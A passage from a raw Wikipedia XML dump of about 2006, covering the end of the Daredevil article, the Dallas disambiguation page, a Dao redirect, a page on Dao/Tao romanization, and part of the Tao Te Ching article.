* Keeper Murdock is Daredevil's counterpart in ''The [[Age of Apocalypse]].''

* In the [[parallel universe]] &quot;[[House of M|House of M]]&quot; crossover, Matt Murdock / Daredevil is romantically involved with [[She-Hulk]] 

* In the ''Earth X'' series, a completely invulnerable stuntman goes by the name of Daredevil as well as donning a costume that looks somewhere between that of Daredevil and [[Evel Knievel]].  It is never stated who this Daredevil really is, but the list of potential candidates includes Deadpool, Mr. Immortal, Night Raven, Yi Yang, Madcap, or the resurrected Foggy Nelson.

* In the [[Ultimate Marvel]] universe, Daredevil is a law student at [[Columbia University]].  While little of his past has been revealed, he resembles the [[Marvel 616]] Daredevil in both powers and looks.

==Powers and abilities==

Daredevil is completely blind but his remaining senses act with superhuman precision: He can feel the imprints of ink on newsprint, allowing him to read without the need for [[Braille]]; he can determine, to the same extent as a [[polygraph test]], whether someone's heart rate, sweat secretions and other evidence suggest he or she is lying; he can follow a scent like a bloodhound; and he can taste the finest differences in food and drink. He can also determine the shape and location of objects around him by means of a 360-degree &quot;radar sense&quot; unlike the movie interpretation of his power.

Daredevil uses a [[billy club]] as both transportation and a weapon. The [[nunchaku]]-like apparatus contains a length of cable which he can wrap around protuberances such as flagpoles, and swing, [[Tarzan]]-like, from place to place.

==Costumes==
&lt;gallery&gt;
Image:Dd_32.jpg|Daredevil's alter ego, Matthew Murdock.  Cover to Daredevil vol. 2 #32.&lt;br /&gt;Art by [[Alex Maleev]].
Image:Dd_yellow.jpg|Daredevil's first costume, designed by [[Bill Everett]] with input from [[Jack Kirby]].&lt;br /&gt;Art by [[Tim Sale]].
Image:Dd_hc.jpg|Daredevil's red costume, designed by [[Wally Wood]].&lt;br /&gt;Art by Alex Maleev.
Image:Daredevilfallfromgrace.gif|Daredevil's darker redesign from the ''Fall From Grace'' arc.&lt;br /&gt;Art by [[Scott McDaniel]].
Image:Dd_1602.jpg|Promotional sketch of Murdoch from [[Neil Gaiman]] and [[Andy Kubert]]'s ''1602''.&lt;br /&gt;Art by Andy Kubert.
&lt;/gallery&gt;

==Other media adaptations==

===Film===

[[Image:Daredevil_poster.JPG|thumb|190px|right|''Daredevil'' movie poster.]]

In February [[2003]], [[20th Century Fox]] released [[Daredevil (film) | ''Daredevil'']], a feature film starring [[Ben Affleck]], [[Jennifer Garner]], [[Colin Farrell]] and [[Michael Clarke Duncan]], and directed by [[Mark Steven Johnson]].  While opening strongly and eventually surpassing $100 million in ticket sales, poor word-of-mouth and negative reviews curtailed its momentum. A [[director's cut]] [[DVD]] was released in November 2004 with nearly 30 minutes of additional footage.

Garner reprised her ''Daredevil'' movie role in the solo sequel [[Elektra (film) | ''Elektra'']] (2005), co-starring [[Goran Visnjic]] and directed by [[Rob Bowman]].

===Television===

Daredevil first appeared on television with the ''Trial of the Incredible Hulk'' ([[1989]]), a [[TV movie]] that was essentially a pilot for Daredevil, played by [[Rex Smith]]. The [[Kingpin (comics)|Kingpin]] was played by [[John Rhys Davies]]. The character would also appear as a guest in the various Marvel superhero [[animated series]] from that time, as well as on the Spider-Man and Fantastic Four series of the mid-1990s. [[Bill Smitrovich]] provided Daredevil's voice on the Fantastic Four animated series while [[Edward Albert]] provided Daredevil's voice on the Spider-Man animated series.

===Video games===

Daredevil had a small appearance in the [[Spider-Man]] [[Computer and video games|video game]] (where [[Dee Bradley Baker]] provided his voice) released for [[Sony PlayStation]], [[N64]], [[Sega]] [[Dreamcast]] and [[PC compatible|PC]]. His Matt Murdock alias also makes a cameo as the lawyer of [[Punisher|Frank Castle]] in the 2005 [[Punisher (game)|Punisher]] video game.
He also stars as a character in the 2005 video game Marvel Nemesis:Rise of the Imperfects.



==Bibliography==
{{expand_list}}

====Main====

* ''Daredevil'' Vol. 1: #1-380 (April 1964 - Oct. 1998)
* ''Daredevil'' Vol. 2: #1-  (Nov. 1998- ) Note: With #22, began official dual-numbering with original series, as #22 / 402, etc.
* ''Daredevil Special'' #1 (Sept. 1967)
* ''Daredevil Special'' #2 (Feb. 1971; reprints)
* ''Daredevil Special'' #3 (Jan. 1972; reprints)
* ''Daredevil Annual'' #4 (1976)
* ''Daredevil Annual'' #4 (1989) Note: mislabeled #4, rather than #5, both on cover and in indicia
* ''Daredevil Annual'' #6-10 (1990-1994)
* ''Daredevil / [[Deadpool]] '97 Annual'' (1997)

====One-shots and limited series====

* ''Giant-Size Daredevil'' #1 (1975)
* ''Daredevil / Black Widow: Abattoir'' (July 1993 graphic novel)
* ''Daredevil: The Man Without Fear'' 1-5 (Oct. 1993 - Feb. 1994)
* ''Daredevil'' # ½ &amp;nbsp;(17-page comic published within ''[[Wizard (magazine)|Wizard]]'' #96, Aug. 1999)
* ''Daredevil: Ninja'' #1-3 (Dec. 2000 - May 2001)
* ''Daredevil: Yellow'' #1-6 (Aug. 2001 - Jan. 2002)
* ''Daredevil: The Target'' (per indicia) a.k.a. ''Daredevil / Bullseye: The Target'' (per cover) #1 (Jan. 2003)
* ''Daredevil: Father'' #1-5 (June 2004, Oct. 2005 - Jan. 2006)
* ''Daredevil: 2099'' #1 (Nov. 2004)
* ''Daredevil: Redemption'' #1-6 (April-Aug. 2005; no cover dates; #1-2 both indicia-dated April 2005)
* ''[[Captain Universe]] / Daredevil'' #1 (Jan. 2006)
&lt;!--* ''[[What If (comics)|What If?]] Featuring Daredevil'' (2006) Note: Awaiting full list of DD's many What If appearances, for proper placement--&gt;

====Marvel teamups====

* ''Spider-Man and Daredevil Special Edition'' #1 (March 1984; reprints)
* ''Daredevil and the [[Punisher]]: Child's Play'' #1 (1988; reprints)
* ''Daredevil and the Punisher'' (1994))
* ''Spider-Man / Daredevil #1'' (Oct. 2002)
* ''Daredevil / Spider-Man'' #1-4 (Jan.-April 2001)
* ''Daredevil vs. Punisher: Means and Ends'' #1-6 (Sept. 2005 - Jan. 2006; no cover dates; #1-2 both indicia-dated Sept. 2005)

====Company crossovers====

* ''Daredevil / [[Batman]]'' (per indicia) a.k.a. ''Daredevil and Batman'' (per cover) #1 (Jan. 1997)
* ''[[Shi (comics)|Shi]] / Daredevil #1'' (Jan. 1997)
* ''Daredevil / Shi #1'' (Feb. 1997)

====Other====

* ''The Daredevils'' #1-11 (month n.a., 1982 - Nov. 1983) [[Marvel UK]] series, mostly reprint)
* ''Daredevil vs. Vapora'' #1 (1993)
:Free health-and-safety comic sponsored by Gas Appliance Manufacturers Association &amp; Consumer Product Safety Commission
*''Marvels Comics: Daredevil'' #1 (July 2000)

==Awards==

Daredevil [[limited series]] have received the following awards:

* ''Daredevil: The Man Without Fear'': 1992 [[Comics Buyer's Guide]] Fan Award — Favorite Limited Comic-Book Series
* ''Daredevil: Yellow'': 2001 Comics Buyer's Guide Fan Award — Favorite Limited Comic-Book Series

==Footnotes==

* {{fnb|1}} Comics historian and former Kirby assistant [[Mark Evanier]], investigating claims of Kirby's involvement in the creation of both [[Iron Man]] and Daredevil, interviewed Kirby and Everett on the subject, years before their deaths, and concluded [http://povonline.com/jackfaq/JackFaq4.htm] that, &quot;in both cases, Jack had already drawn the covers of those issues and done some amount of design work.  He ... seems to have participated in the design of Daredevil's first costume. ... Everett did tell me that Jack had come up with the idea of Daredevil's billy club. ... Jack, in effect, drew the first page of that first Daredevil story. In the rush to get that seriously late book to press, there wasn't time to complete Page One, so Stan had [[Sol Brodsky]] slap together a paste-up that employed Kirby's cover drawing. ... Everett volunteered to me that Jack had 'helped him' though he wouldn't — or more likely, couldn't — elaborate on that. He just plain didn't remember it well, and in later years apparently gave others who asked a wide range of answers&quot;. Mavel editor-in-chief [[Joe Quesada]] later noted that when the legendary but troubled Everett turned in his first-issue pencils extremely late, and that production manager [[Sol Brodsky]] and [[Spider-Man]] artist [[Steve Ditko]] inked &quot;a lot of backgrounds and secondary figures on the fly [and] cobbled the cover and the splash page together from Kirby's original concept drawing&quot; [http://www.newsarama.com/JoeFridays/JoeFridays4.htm]. 

* {{fnb|2}} Bill Everett interview, originally published in ''Alter Ego'' Vol. 1, #11, 1978; reprinted in ''Alter Ego'' Vol. 3, #46 (March 2005); pp. 28-29 of the latter.

* {{fnb|3}} Romita, from ''[[Comic Book Artist]]'' #6 (Fall 1999) [http://www.twomorrows.com/comicbookartist/articles/06romita.html]: &quot;I had inked an ''[[The Avengers (comics)|Avengers]]'' job for Stan, and I told him I just wanted to ink. I felt like I was burned out as a penciler after eight years of romance work. I didn't want to pencil any more; in fact, I couldn't work at home any more — I couldn't discipline myself to do it. He said, 'Okay,' but the first chance he had he shows me this Daredevil story somebody had started and he didn't like it, and he wanted somebody else to do it.&quot; Elaborating in ''Alter Ego'' #9 (July 2001) [http://www.twomorrows.com/alterego/articles/09romita.html], he added, &quot;Stan showed me [[Dick Ayers]]' splash page for a ''Daredevil''. He asked me, &quot;What would you do with this page?&quot; I showed him on a tracing paper what I would do, and then he asked me to do a drawing of Daredevil the way I would do it. I did a big drawing of Daredevil ... just a big, tracing-paper drawing of Daredevil swinging. And Stan loved it.&quot;

==References==

* [http://www.marvel.com/publishing/showcomic.htm?id=5 Official webpage at Marvel.com]
* [http://www.marveldirectory.com/individuals/d/daredevil.htm Daredevil bio at MarvelDirectory]
* [http://www.manwithoutfear.com/daredevil.shtml Man Without Fear fan site]
* [http://www.adherents.com/lit/comics/Daredevil.html  The religion of Matt Murdock, Daredevil]
* [http://www.salon.com/books/review/2006/01/05/daredevil/ &quot;Secrets, lies — and lawyers!&quot;], Douglas Wolk, [[Salon.com]], January 5, 2006. Retrospective of the Bendis/Maleev run.

[[Category:Anti-heroes]]
[[Category:Defenders members]]
[[Category:Fictional Catholics]]
[[Category:Fictional Irish-Americans]]
[[Category:Fictional lawyers]]
[[Category:Fictional martial artists]]
[[Category:Fictional ninja]]
[[Category:Fictional vigilantes]]
[[Category:Fictional_blind_characters]]
[[Category:Marvel Comics superheroes]]
[[Category:Marvel Comics titles]]

[[da:Daredevil]]
[[de:Daredevil]]
[[eo:Kolrompulo]]
[[es:Diabólico]]
[[fi:Daredevil]]
[[fr:Daredevil]]
[[he:דרדוויל]]
[[it:Daredevil]]
[[ja:デアデビル]]
[[pl:Daredevil]]
[[pt:Demolidor]]
[[sv:Daredevil]]</text>
    </revision>
  </page>
  <page>
    <title>Dallas (disambiguation)</title>
    <id>8571</id>
    <revision>
      <id>41990360</id>
      <timestamp>2006-03-03T02:01:30Z</timestamp>
      <contributor>
        <username>Dark Lord Revan</username>
        <id>373670</id>
      </contributor>
      <text xml:space="preserve">'''Dallas''' is the name of many things:
*Most common is the city of [[Dallas, Texas|Dallas]] in Dallas County in the [[U.S. state]] of [[Texas]].
*The [[Dallas (TV series)|''Dallas'' TV series]] was a US prime-time [[television]] [[soap opera]] set in [[Dallas, Texas]], that aired on [[CBS]] from [[1978]] to [[1991]].
* Dallas is the name of the captain of the commercial starship ''[[Nostromo]]'' in ''[[Alien (film)|Alien]]'' ([[1979 in film|1979]]), a [[science fiction]]/[[horror film|horror]] [[film]] directed by [[Ridley Scott]].  Dallas was played by [[Tom Skerritt]].
*Dallas is a former persona of [[professional wrestling|professional wrestler]] [[Lance Hoyt]].
*[[USS Dallas (SSN-700)]] is a US Navy attack submarine in the Los Angeles class.
*[[Dallas Drake]] pro [[Ice Hockey]] player
*[[Dallas Smith]], former pro [[Ice Hockey]] Player
*[[Dallas Smith (singer)|Dallas Smith]] The singer for [[Default (band)|Default]]

Other cities named Dallas include:
*[[Dallas, Moray]], [[Scotland]], after which the other Dallas are named.
*[[Dallas, Victoria|Dallas]] is also a suburb in [[Melbourne]], [[Victoria (Australia)|Victoria]], [[Australia]].

U.S. cities named Dallas include:
*[[Dallas, Georgia]]
*[[Dallas, Maine]]
*[[Dallas, North Carolina]]
*[[Dallas, Oregon]]
*[[Dallas, Pennsylvania]] 
*[[Dallas, South Dakota]] 
*[[Dallas, West Virginia]]
*[[Dallas, Wisconsin]]
*[[Dallas, Barron County, Wisconsin|Dallas (town), Wisconsin]]

Other U.S. communities with Dallas in the name include:
*[[Dallas County, Alabama]]
*[[Dallas County, Arkansas]]
*[[Dallas County, Iowa]]
*[[Dallas County, Missouri]]
*[[Dallas County, Texas]]
*[[Dallas Township, Arkansas]]
*[[Dallas Township, Indiana]]
*[[Dallas Township, Dallas County, Iowa]]
*[[Dallas Township, Marion County, Iowa]]
*[[Dallas Township, Taylor County, Iowa]]
*[[Dallas Township, Michigan]]
*[[Dallas Township, DeKalb County, Missouri]]
*[[Dallas Township, Harrison County, Missouri]]
*[[Dallas Township, St. Clair County, Missouri]]
*[[Dallas Township, North Carolina]]
*[[Dallas Township, Ohio]]
*[[Dallas Township, Pennsylvania]]
*[[Dallas Center, Iowa]].
*[[Dallas City Township, Illinois]]
*[[Dallas City, Illinois]].
*[[East Dallas Township, Missouri]]
*[[Lake Dallas, Texas]] 
*[[Melcher-Dallas, Iowa]] 
*[[West Dallas Township, Missouri]]

{{disambig}}

[[de:Dallas (Begriffsklärung)]]
[[nl:Dallas]]</text>
    </revision>
  </page>
  <page>
    <title>Dao</title>
    <id>8572</id>
    <revision>
      <id>21088076</id>
      <timestamp>2005-08-15T20:30:51Z</timestamp>
      <contributor>
        <username>PrologFan</username>
        <id>320337</id>
      </contributor>
      <comment>Redirect to [[DAO]]</comment>
      <text xml:space="preserve">#REDIRECT [[DAO]]</text>
    </revision>
  </page>
  <page>
    <title>Daoism-Taoism Romanization issue</title>
    <id>8573</id>
    <revision>
      <id>40362960</id>
      <timestamp>2006-02-20T01:46:52Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''''Dào''''' is the [[pinyin]] [[romanization]] of the [[Chinese language|Chinese]] character '''&amp;#36947;''', representing a word usually rendered in [[English language|English]] as '''''Tao''''', and used as the root word for the English term  ''[[Taoism]]''. Taoism is a native Chinese [[philosophy]] and [[religion]] that, along with its various offshoot sects and syncretisms with other traditions ([[Chan Buddhism]], [[Neo-Confucianism]]), has influenced much of [[East Asia]] for thousands of years. More recently, it has gained worldwide recognition.

The concepts of Taoism were first widely studied in the West before the development of pinyin, when the older [[Wade-Giles]] transliteration system was in use in English speaking countries. Consequently, the Wade-Giles spellings are still generally used in most [[English language]] editions of the [[Tao Te Ching]] and other major Taoist works, and thus most commonly used and recognized by native speakers of English. &quot;Taoism&quot; appeared first in English in [[1836]] ([[Oxford English Dictionary]]) as a translation of the Chinese term &amp;#36947;&amp;#25945; (Wade-Giles tao4 chiao4, pinyin dào jiào). 

However, in academia and politics, there has been a strong trend towards using pinyin, which is recommended by the government of the [[People's Republic of China]] and widely used in teaching Chinese language. Joseph Lau's translation of the Tao Te Ching (pub. Penguin) has been renamed &quot;Daodejing&quot; in its latest edition; similarly, Burton Watson's translation of Chuang Tzu (pub. Columbia Univ. Press) is now titled &quot;Zhuangzi&quot; instead. Both texts have abandoned Wades-Giles in favor of pinyin.

Due to fundamental differences between Chinese and English [[phonology]], neither ''d'' nor ''t'' can be considered adequate phonetic representations for the consonant at the beginning of the word ''Dao''/''Tao''. The Chinese pronunciation is ''voiceless'' (like ''t'' and not like ''d''), but it is also ''unaspirated'' (without the puff of air which is normally a part of English ''t'' but which is never a part of English ''d''). One perspective holds that  both transliterations are thus equally close to (or far from) the [[Mandarin (linguistics)|Mandarin]] pronunciation of '''&amp;#36947;'''. However, to the ear of most English speakers the Chinese pronunciation sounds more like an English &quot;d&quot; than an English &quot;t&quot;, thus some argue that &quot;Dao&quot; is in that sense more accurate than &quot;Tao&quot;.

Generally, in the case of Chinese words that are not assimilated into English by the end of the [[20th century]], like most place or persons names, pinyin is preferably used by international community and has largely been accepted as the standard romanization. In the case of words with Chinese origins that have long been assimilated into English, opinions differ. Some people think that existing words in English which come from Chinese words should be remodeled after the ''pinyin'' transliteration scheme. Others think that the older forms should be retained because those spellings have become English words in their own right--and hence are not Chinese anymore--while new borrowings should be written according to the official transliteration scheme. Pinyin spellings that don't represent the pronunciation of the word well, the most problematic being pinyin's use of &quot;q&quot; for a sound usually heard as &quot;ch&quot; by most Westerners (see [[Qi]]), have contributed to the confusion in popular usage. 

For consistency, Wikipedia uses the ''tao'' romanization, such as '''Taoism''' and '''Tao Te Ching''', in all articles.

==External links==
*http://www.truetao.org/laotzu/taote/guide.htm Tao Te Ching Pronunciation Guide

[[category:Chinese language romanization]]
[[category:Mandarin (linguistics)]]</text>
    </revision>
  </page>
  <page>
    <title>Tao Te Ching</title>
    <id>8574</id>
    <revision>
      <id>41700744</id>
      <timestamp>2006-03-01T03:45:11Z</timestamp>
      <contributor>
        <ip>144.90.238.69</ip>
      </contributor>
      <comment>/* Other themes */</comment>
      <text xml:space="preserve">{| cellpadding=&quot;6&quot; style=&quot;float: right; width:250px;margin: 5px;border:1px solid black&quot;
|-
|style=&quot;text-align:center;padding-bottom: .40em; font-size: 210%&quot; |&amp;#36947;&amp;#24503;&amp;#32147;
|-
|style=&quot;padXXding: .40em 0em&quot; |[[Pinyin]]: Dào Dé J&amp;#299;ng
|-
|[[Wade-Giles]]:  Tao Te Ching
|-
|[[Vietnamese language|Vietnamese]]:  Đạo Đức Kinh
|-
|style=&quot;font-size: 80%&quot; |The [[Wade-Giles]] rendering of the title became predominant in the late 19th century, and is still common in [[Taiwan]] as well as much of international academia, but the [[People's Republic of China]] has promulgated the [[pinyin]] transliteration scheme, which results in the title ''Dao De Jing''. As English editions of the book first became well known in the English-speaking world before the development of pinyin, the Wade-Giles transliteration of the title has stuck, and current English editions of the book almost always title it ''Tao Te Ching''. ''See also [[Daoism-Taoism romanization issue]] for further discussion.''
|}

The '''''Tao Te Ching''''' ([[Chinese language|Chinese]]: &amp;#36947;&amp;#24503;&amp;#32147;, ''Dào dé jīng''), roughly translated as '''''The Book of the Way and its Virtue''''' (see [[#Translations of the title|below]] on translating the title) is an ancient [[Chinese classic texts|Chinese scripture]]. Tradition has it that the book was written around [[600 BCE]] by a sage called [[Laozi]] (WG: Lao Tzu, &quot;Old Master&quot;), a record-keeper in the Emperor's Court of the [[Zhou Dynasty]]. A careful reading of the text, however, suggests that it is a compilation of [[Maxim (saying)|maxim]]s sharing similar themes. The authenticity of the date of composition/compilation and the authorship are still debated. 

This short work is one of the most important in [[Chinese philosophy]] and [[Chinese religion|religion]], especially in [[Taoism]], but also in [[Buddhism]], because the latter &amp;ndash; an Indian religion &amp;ndash; shared many Taoist words and concepts before developing into [[Chinese Buddhism]]. (Indeed, upon first encountering it, Chinese scholars regarded Buddhism as merely a foreign equivalent of Taoism.) Many Chinese artists, including [[Chinese poetry|poets]], [[Chinese painting|painters]], [[Calligraphy|calligraphers]] and even [[Chinese garden|gardeners]] have used the book as a source of inspiration. Its influence has also spread widely outside the Far East, aided by many different translations of the text into western languages.

==The original Tao Te Ching text==
The Tao Te Ching has been translated almost as many times as the [[Bible]] (second behind the Bible in fact).  The original Chinese version however, was actually written in ZhuanShu script in scroll format ([[paper]] or [[bamboo]]), and later versions were written in LiShu and KaiShu style.  [http://www.edepot.com/taocalig.html Tao Te Ching calligraphy styles] contains a good summary of the different styles in their actual format.

==Translations of the title==
[[Image:Tao-te-ching.png|thumb|90px|&quot;Tao Te Ching&quot;, Calligraphy by [[Gia-Fu Feng]]]]
There are many possible translations of the book's title, as the meaning of the Chinese characters is somewhat broad. 
* &amp;#36947; (''dào'') is usually translated into [[English language|English]] as &quot;the way ahead&quot;, &quot;the path ahead&quot;, or simply &quot;the Way&quot;. This term, used by all [[Chinese philosophy|Chinese Philosophers]] (including [[Confucius]], [[Mencius]], [[Mozi]], the [[Legalism (philosophy)|Legalists]], etc.), has special meaning within the context of [[Taoism]], where it implies the essential, unnamable process of the universe. 
* &amp;#24503; (''dé'') has the approximate English equivalent of &quot;virtue&quot; or &quot;righteousness&quot;. &amp;#24503; can carry the same connotations in Chinese that the word &quot;virtue&quot; does in English; that is, it may either mean &quot;virtue&quot; in the sense of a [[moral]] virtue, or it may also mean &quot;virtue&quot; in the somewhat archaic English sense of an inherent power (as in &quot;healing virtue of a plant&quot;). 
* &amp;#32147; (''j&amp;#299;ng'') means &quot;scripture&quot;, &quot;great book&quot;, or &quot;doctrine&quot;. 

Thus, &amp;#36947;&amp;#24503;&amp;#32147; could be translated as &quot;The Scripture of the Way and the Virtue&quot;, &quot;The Great Book of the Way and its Power&quot;, &quot;The Doctrine of The Path and its Virtues&quot;, etc.

Though commonly referred to as the &amp;#36947;&amp;#24503;&amp;#32147; (''Tao Te Ching''), the title is probably a fusion of the two books of scriptures, namely &amp;#36947;&amp;#32147; (''Tao Ching'') and &amp;#24503;&amp;#32147; (''Te Ching''). In fact, the latter book has been found among some recent discoveries. It is likely that the combined name of both books has no real intended meaning, though this is at present impossible to ascertain given the numerous revisions of the scriptures.

*Note: As mentioned above in the sidebar, &quot;Taoism&quot; is also spelled &quot;[[Daoism]]&quot; in the ''pinyin'' system.*

==Structure==

In its present form, the ''Tao Te Ching'' is in two sections (''Tao'', containing chapters 1&amp;ndash;37; and ''Te'', chapters 38&amp;ndash;81), and uses around 5,000 [[Chinese characters]]. Each chapter is rather short, using few [[Chinese characters|characters]] to express its often difficult ideas poetically.

==Historical authenticity==

[[Image:Lao zi.PNG|thumb|[[Laozi]]]]The existence of Laozi is mentioned in scrolls dating back to 400 BCE, but the details of his life were not contemporaneously recorded. The Chinese historian [[Sima Qian]] wrote a supposed biography of him in about 100 BCE, indicating that his birth name was Li Er. Studies on the language and the [[rhyme]] scheme of the work point to a date of composition after the [[Shi Jing]] or ''Book of Songs'', yet before the writing of [[Zhuangzi]] &amp;mdash; some time in the late fourth or early third centuries.

Scholars debate the authorship of the current version of the ''Tao Te Ching''. Sections of it in its current form have been found engraved on stone tablets dated to 300 BCE. The [[1973]] archeological discovery of more or less complete Chinese &quot;scrolls&quot; (actually silk rolls called the [[Ma-wang-tui Texts]] after the village where they were found: Text A, with more [[lacuna]]e, thought to have been written sometime before Text B which has been dated to 200 BCE) reveals that our most common versions of the [[received text]] are substantially the same as that which was known in antiquity, thus limiting the time period during which the writings might have been substantially changed or contributed to.  In [[1993]], the oldest known version of the text was discovered, written in ink on [[bamboo]] strips and dated to [[300 BCE]]. This find unearthed 14 verses previously unknown, referred to as the ''Guodian text'' as they were discovered in a tomb in the town of [[Guodian]], in the [[Hubei]] [[Political divisions of China|province]].  Many newer translations include these texts, and the verses of the book are often reordered to synthesize the new find.

As early as the [[1930s]], ways to resolve disputes over authorship without declaring who is right or wrong (a [[Daoism|Taoist]] solution) have been proposed. In an essay accompanying a translation by [[Wai-tao]] and [[Dwight Goddard]], Dr. [[Kiang Kang-hu]] offers, &quot;Three Taoist sages who lived two or three hundred or more years apart, according to history, are commonly believed to be the same man, who by his wisdom had attained longevity. The simpler and more probable solution of the confusion is to accept the historicity of all three but to give credit for the original writing to Laozi and consider the others as able disciples and possibly editors. The book in its present form might not have been written until the third century BCE, for it was engraved on stone tablets soon after that time&quot;. Credit for some verses might be conditionally given to later Taoists &quot;without detracting from the larger credit that belongs to Laozi&quot;.

==Interpretation==

Many believe that the ''Tao Te Ching'' contains some universal truths which have since been independently recognized in other philosophies, both religious and secular. Each modern language interpretation (including even interpretation of the three-character title, of which there are dozens) differs at least slightly, and occasionally profoundly, from the next.  Depending on how one reads them, some chapters could have three or more interpretations, ranging from practical wisdom for the common man to advice intended for kings to even the odd medical recipe.  The following are some concepts and principles which may facilitate understanding of the text.

=== The [[Tao]] that can be told of...===

:The [Tao] that can be told of is not an Unvarying [Tao];
:The names that can be named are not unvarying names.
:It was from the Nameless that Heaven and Earth sprang;
:The named is but the mother that rears the ten thousand creatures, 
: each after its kind.
::(tr. [[A. Waley]])

These are the first words of the text in its present form (Waley translates &quot;Tao&quot; as &quot;Way&quot;). The Tao Te Ching does not specifically define what the Tao is. Laozi himself reportedly said, &quot;My words are very easy to understand [...] yet no one under heaven understands them.&quot; (chapter 70) However, we can point to some of the Tao's  characteristics. Tao is the core topic of the book, supplemented by related themes such as ''[[De|Te]]'' (&quot;virtue&quot;, or &quot;power&quot;), nothingness, return, detachment, and ''[[wu-wei]]'' (&quot;non-action&quot;). The Tao can be seen as all being, before and beyond all distinctions between different forms or essences of things. Everything comes from Tao and returns to Tao. Perhaps, in the sense of the physicist [[David Bohm]], Tao is 'that- which- is', perfect in being what it is, Being of all and nothing. Proper characteristics can never be truly attributed to the Tao, at least not in a form that can be expressed in words, because Tao represents the Highest form of Truth which transcends rationality or symbolic ideology, as no idea can capture 'truth', so Bohm says, in the sense of 'that which is'. This did not prevent the ancient Chinese Taoists from feeling the Power of Tao, but it did prevent them from properly ascribing their experiences into words.

===The &quot;Valley Spirit&quot;===

:The Valley Spirit never dies
:It is named the Mysterious Female.
:And the doorway of the Mysterious Female
:Is the base from which Heaven and Earth sprang.
:It is there within us all the while;
:Draw upon it as you will, it never runs dry.
::(Chapter VI, Tr. [[A. Waley]])

The ''Tao Te Ching'' can be seen as advocating mostly &quot;feminine&quot; (or ''[[Yin-Yang|Yin]]'') values, emphasising the qualities of ''water'' &amp;mdash; fluidity and softness (instead of the solid and stable ''mountain''), choosing the obscure and mysterious aspect of things, and controlling things without ruling them, in other words to 'have without possessing'. In this respect, this book can be understood as challenging &quot;male&quot; (or ''Yang'') values such as clarity, stability, positive action, and domination of nature; such values are often referred to as [[Confucian]] values. Yet a perfect balance between the Yin and Yang is still encouraged in Taoism.

===The Return===

&quot;When he is born, man is soft and weak; in death he becomes stiff and hard... the hard and mighty are cast down; the soft and weak set on high.&quot; (chapter 76)  This quote shows again Laozi's focus on softness, but in another pair of counterparts: the newborn baby and the old man. Rigidity is the attribute of death, while weakness is the attribute of life. When things or beings are at their beginning, everything is possible. When things have not yet developed, it is the right time to act on them with a better chance for good results. A kind of return to the beginning of things, or to one's own childhood, is required.

This focus on the importance of beginnings also has social ramifications. As in the theory of [[Jean-Jacques Rousseau]], the ''Tao Te Ching'' assumes that ancient times were those of happiness, purity of intentions, and full communion with nature: &quot;the times when anyone could look inside the nests of all the birds&quot;. Problems arose when humanity &quot;invented&quot; culture and civilisation. The Tao Te Ching proposes a return to the more natural state, for example in chapter 80, where the text argues the people should &quot;come back to the usage of knotted ropes&quot; in place of any other form of writing.

However, the &quot;Return&quot; shouldn't be understood as a simple or reactionary way back to the past, but as a &quot;contraction,&quot; a &quot;reduction,&quot; a &quot;withdrawal&quot; or even a &quot;retreat&quot; in oneself. This is illustrated in the anti-Confucianist saying: ''Learning consists in adding to one's stock day by day; the practice of Tao consists in subtracting day by day'' (ch. 48) and in this strategic advice ''I dare not advance an inch but retreat a foot instead.'' (ch. 69) Diminishing one's ego, instead of &quot;improving&quot; it through studies, is the path to real wisdom. Letting the enemy take the first step (thus reducing his range of possiblities) is the way to gain the upper hand.

Although this idea of a &quot;Return&quot; is close to some modern psychological practices such as introspection, what is to be reached through &quot;Return&quot; is not the self but nothingness, a return to that-which-is.

=== ''The Sage has no heart on his own...'' ===

The Search for Vacuity is a common concern for many different [[Asian]] wisdoms including Taoism, Buddhism, and some aspects of Confucianism. In the ''Tao Te Ching'', nothingness is the theme of many chapters and one could see the entire book as a suite of variations on &quot;the Powers of Nothingness&quot;, echoing the ancient Buddhist philosophy of 'form is emptiness, emptiness is form'. An explanation on how nothingness has power can be found in chapter 11:

:We put thirty spokes together and call it a wheel;
:But it is on the space where there is nothing
: that the usefulness of the wheel depends.
:We turn clay to make a vessel;
:But it is on the space where there is nothing 
: that the usefulness of the vessel depends.
:We pierce doors and windows to make a house;
:And it is on these spaces where there is nothing 
: that the usefulness of the house depends.
:Therefore just as we take advantage of what is, 
: we should recognize the usefulness of what is not.
::Chapter 11, tr. A. Waley

Looking at a [[Chinese art|Chinese landscape painting]], one can understand also how nothingness (the unpainted parts) has the power of giving life to the beings - the trees, mountains, and rivers - it surrounds. Being nothing for a man means ''having no heart on his own'', having no fixed preconceptions on how things should be, and having no intentions or agenda. For the ruler's point of view, nothingness is not far from the [[classical liberalism|liberal]] ''[[laissez-faire]]'' approach: letting things happen by themselves is the best way to help them grow. As the Tao te Ching would say:

''So a wise leader may say:
''I practice inaction, and the people look after themselves.''

=== &quot;Knowing oneself&quot; ===
The pursuit of the knowledge of the self appears in many variations throughout the Tao Te Ching. One example in chapter 33:

:Knowing others is wisdom;
:Knowing the self is enlightenment.
:Mastering others requires force;
:Mastering the self requires strength;

:He who knows he has enough is rich.
:Perseverance is a sign of will power.
:He who stays where he is endures.
:To die but not to perish is to be eternally present.
::Chapter 33 tr. Gia-Fu Feng and Jane English

&lt;!-- to be expanded 

some other subtitles of this section could be 

&quot;Banish wisdom and other paradoxes&quot; (on why Lao Zi often explains himself with paradoxes), 
&quot;Ruling a large kingdom&quot; on political Lao Zi
&quot;be twisted!&quot; on foolishness as a wisdom--&gt;

===Other themes===
Here are listed some other topics related to the ''Tao Te Ching'':
*Force begets force. 
*One whose needs are simple can fulfill them easily. 
*(Material) wealth does not enrich the spirit. 
*Self-absorption and self-importance are vain and self-destructive. 
*Victory in war is not glorious and not to be celebrated, but stems from devastation, and is to be mourned. 
*The harder one tries, the more resistance one will create for oneself. 
*The more one acts in harmony with the universe (the Mother of the ten thousand things), the more one will achieve, with less effort. 
*The truly wise make little of their own wisdom for the more they know, the more they realize how little they know. 
*When we lose the fundamentals, we supplant them with increasingly inferior values which we pretend are the true values. 
*Glorification of wealth, power and beauty beget crime, envy and shame. 
*The qualities of flexibility and suppleness are often superior to rigidity and strength.
*Everything is in its own time and place.
*The contrast of opposition &amp;mdash; i.e. the differences between male and female, light and dark, strong and weak, etc. &amp;mdash; helps us understand and appreciate the universe.
*Humility is the highest virtue.
*Knowing oneself is a virtue.
*Envy is our calamity; overindulgence is our plight.
*The more you go in search of an answer, the less you will understand.
*To lift something, first push down on it.
